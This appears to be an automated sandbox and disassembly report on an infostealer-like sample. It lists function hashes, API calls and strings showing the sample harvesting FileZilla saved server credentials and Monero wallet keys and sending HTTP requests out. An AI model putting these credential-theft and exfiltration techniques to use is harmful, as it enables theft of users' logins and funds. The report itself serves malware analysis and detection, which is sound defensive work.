API String ID: 0-1770593171
Opcode ID: 75c96a3f5dfa41be12d96537542042a6cf7ad9f25b263199656cbbd7c9bd9ca6
Instruction ID: fe5dfba3e470d6315d18f03a0a181a81d662da908d72044d719b391bccda8c2b
Opcode Fuzzy Hash: 75c96a3f5dfa41be12d96537542042a6cf7ad9f25b263199656cbbd7c9bd9ca6
Instruction Fuzzy Hash: 3851BBB39082145BE3147A69EC557BBBB89CFD0360F2A463DEA4593780FC39590582C6

Function 00FB50B2 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

{T3, xrefs: 00FB5113

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: {T3
API String ID: 0-3004263434
Opcode ID: 6f8ac0806012ff2fa1d5468a0cf7fe3d9867315ef39361e12d37e570d51abf75
Instruction ID: 9f7a305a2858b8fd3c9854e7f843006cf64f425cb1c9128a3682931755ebaf50
Opcode Fuzzy Hash: 6f8ac0806012ff2fa1d5468a0cf7fe3d9867315ef39361e12d37e570d51abf75
Instruction Fuzzy Hash: 444156B3D192285BE2446A6DDC057AAB79ADFD9620F1B8A2DDB81C3784FC714D0482C2

Function 0100E7B6 Relevance: .7, Instructions: 714COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fac275781602966c5c861d108898073a0baa809a9e453cab0fd05a7393cdcf7f
Instruction ID: 6f4e3738aeeed1c4b6f37e15eee3631dc3cbbbb18574d76f9c7420ed8e013473
Opcode Fuzzy Hash: fac275781602966c5c861d108898073a0baa809a9e453cab0fd05a7393cdcf7f
Instruction Fuzzy Hash: 272217F36083049FE3046E2DEC8567ABBE9EF94720F1A493DE6C4C7744E97698058693

Function 0100D370 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42df736b932bbd965521c4b9f38a0de624773946133a9f8c6378e87eedbe8ff6
Instruction ID: 9ae4c4bccc49854297310d0d7fc41c291b356236c26592a58636dab229d3a277
Opcode Fuzzy Hash: 42df736b932bbd965521c4b9f38a0de624773946133a9f8c6378e87eedbe8ff6
Instruction Fuzzy Hash: 7671E6B761C6009FE308AE19EC86A7BB7D6EFD4320F1A463DE6C5C3744E93598018796

Function 00EB0436 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a450f66b0e2ec853c06bfe9f3d25d29636b2e89c1402fd41fb94778ad94d235
Instruction ID: 719738c360915e13b9618b9df7b8b8da82cb850225ba8fabc5d884ce9617f1fe
Opcode Fuzzy Hash: 9a450f66b0e2ec853c06bfe9f3d25d29636b2e89c1402fd41fb94778ad94d235
Instruction Fuzzy Hash: E3715DB3A0C2109BD3046E39EC4577BBBE5DF94720F16893DEAC497784EA3948458693

Function 00F0E518 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217ee38612bc8932d551a77585906d45f33d7a586eaa03d1ec3f6b31e4ec2a33
Instruction ID: eff05b7974c2f1430a866a05a57692a45caf72158f5eecada10bed203a1dd68a
Opcode Fuzzy Hash: 217ee38612bc8932d551a77585906d45f33d7a586eaa03d1ec3f6b31e4ec2a33
Instruction Fuzzy Hash: 31419DF3E141205BE3085D69EC917BBB6C9DB94731F2A853EE9C1D7384E8749C0182D2

Function 00C59750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00C50250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C58E0B

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
Part of subcall function 00C499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
Part of subcall function 00C499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
Part of subcall function 00C499C0: ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
Part of subcall function 00C499C0: LocalFree.KERNEL32(00C4148F), ref: 00C49A90
Part of subcall function 00C499C0: CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

Part of subcall function 00C58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C58E52

GetProcessHeap.KERNEL32(00000000,000F423F,00C60DBA,00C60DB7,00C60DB6,00C60DB3), ref: 00C50362
RtlAllocateHeap.NTDLL(00000000), ref: 00C50369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00C50385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C50393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00C503CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C503DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00C50419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C50427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00C50463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C50475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C50502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C5051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C50532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C5054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00C50562
lstrcat.KERNEL32(?,profile: null), ref: 00C50571
lstrcat.KERNEL32(?,url: ), ref: 00C50580
lstrcat.KERNEL32(?,00000000), ref: 00C50593
lstrcat.KERNEL32(?,00C61678), ref: 00C505A2
lstrcat.KERNEL32(?,00000000), ref: 00C505B5
lstrcat.KERNEL32(?,00C6167C), ref: 00C505C4
lstrcat.KERNEL32(?,login: ), ref: 00C505D3
lstrcat.KERNEL32(?,00000000), ref: 00C505E6
lstrcat.KERNEL32(?,00C61688), ref: 00C505F5
lstrcat.KERNEL32(?,password: ), ref: 00C50604
lstrcat.KERNEL32(?,00000000), ref: 00C50617
lstrcat.KERNEL32(?,00C61698), ref: 00C50626
lstrcat.KERNEL32(?,00C6169C), ref: 00C50635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C60DB2), ref: 00C5068E

Strings

<Pass encoding="base64">, xrefs: 00C5045A
profile: null, xrefs: 00C50568
login: , xrefs: 00C505CA
url: , xrefs: 00C50577
<Host>, xrefs: 00C5037C
<Port>, xrefs: 00C503C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00C502A4
password: , xrefs: 00C505FB
browser: FileZilla, xrefs: 00C50559
<User>, xrefs: 00C50410

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: facbd5dbed40888f236bf98b941bd6ce9462d13815d0bc1173f8b2321998c80f
Instruction ID: 23b689d6c5d70c500a33f9312289ad2e4d6ee4f2324768d70a318fc0253cc32f
Opcode Fuzzy Hash: facbd5dbed40888f236bf98b941bd6ce9462d13815d0bc1173f8b2321998c80f
Instruction Fuzzy Hash: 70D14E79900108ABDB04EBE1DD96EEE7338FF14302F544529F906B6091EF34AA4DEB65

Function 00C45960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C44839
Part of subcall function 00C447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C44849

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C459F8
StrCmpCA.SHLWAPI(?,008A0610), ref: 00C45A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C45B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008A05F0,00000000,?,0089C018,00000000,?,00C61A1C), ref: 00C45E71
lstrlen.KERNEL32(00000000), ref: 00C45E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00C45E93
RtlAllocateHeap.NTDLL(00000000), ref: 00C45E9A
lstrlen.KERNEL32(00000000), ref: 00C45EAF
lstrlen.KERNEL32(00000000), ref: 00C45ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C45EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00C45F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C45F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00C45F4C
InternetCloseHandle.WININET(00000000), ref: 00C45FB0
InternetCloseHandle.WININET(00000000), ref: 00C45FBD
HttpOpenRequestA.WININET(00000000,008A0720,?,0089FCA0,00000000,00000000,00400100,00000000), ref: 00C45BF8

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

InternetCloseHandle.WININET(00000000), ref: 00C45FC7

Strings

------, xrefs: 00C45D4C
", xrefs: 00C45CD5
------, xrefs: 00C45A96
", xrefs: 00C45E16
------, xrefs: 00C45C0B

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: bb3198d2e23a82761cdc494d79bd5d1dfa340de256b4370f7a0b23c0368cb50f
Instruction ID: 29bf27d7678dbcfd220059cd18bf8f6b54d4fda869ac9720434a066b479c7805
Opcode Fuzzy Hash: bb3198d2e23a82761cdc494d79bd5d1dfa340de256b4370f7a0b23c0368cb50f
Instruction Fuzzy Hash: 5B122F75820118ABDB15EBA1DC95FEEB338BF14701F5442A9F50A72091EF302A8DDF69

Function 00C4CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C58B60: GetSystemTime.KERNEL32(00C60E1A,0089C2B8,00C605AE,?,?,00C413F9,?,0000001A,00C60E1A,00000000,?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C58B86

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C4CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C4D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00C4D0CE
lstrcat.KERNEL32(?,00000000), ref: 00C4D208
lstrcat.KERNEL32(?,00C61478), ref: 00C4D217
lstrcat.KERNEL32(?,00000000), ref: 00C4D22A
lstrcat.KERNEL32(?,00C6147C), ref: 00C4D239
lstrcat.KERNEL32(?,00000000), ref: 00C4D24C
lstrcat.KERNEL32(?,00C61480), ref: 00C4D25B
lstrcat.KERNEL32(?,00000000), ref: 00C4D26E
lstrcat.KERNEL32(?,00C61484), ref: 00C4D27D
lstrcat.KERNEL32(?,00000000), ref: 00C4D290
lstrcat.KERNEL32(?,00C61488), ref: 00C4D29F
lstrcat.KERNEL32(?,00000000), ref: 00C4D2B2
lstrcat.KERNEL32(?,00C6148C), ref: 00C4D2C1
lstrcat.KERNEL32(?,00000000), ref: 00C4D2D4
lstrcat.KERNEL32(?,00C61490), ref: 00C4D2E3

Part of subcall function 00C5A820: lstrlen.KERNEL32(00C44F05,?,?,00C44F05,00C60DDE), ref: 00C5A82B
Part of subcall function 00C5A820: lstrcpy.KERNEL32(00C60DDE,00000000), ref: 00C5A885

lstrlen.KERNEL32(?), ref: 00C4D32A
lstrlen.KERNEL32(?), ref: 00C4D339

Part of subcall function 00C5AA70: StrCmpCA.SHLWAPI(0089AE68,00C4A7A7,?,00C4A7A7,0089AE68), ref: 00C5AA8F

DeleteFileA.KERNEL32(00000000), ref: 00C4D3B4

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

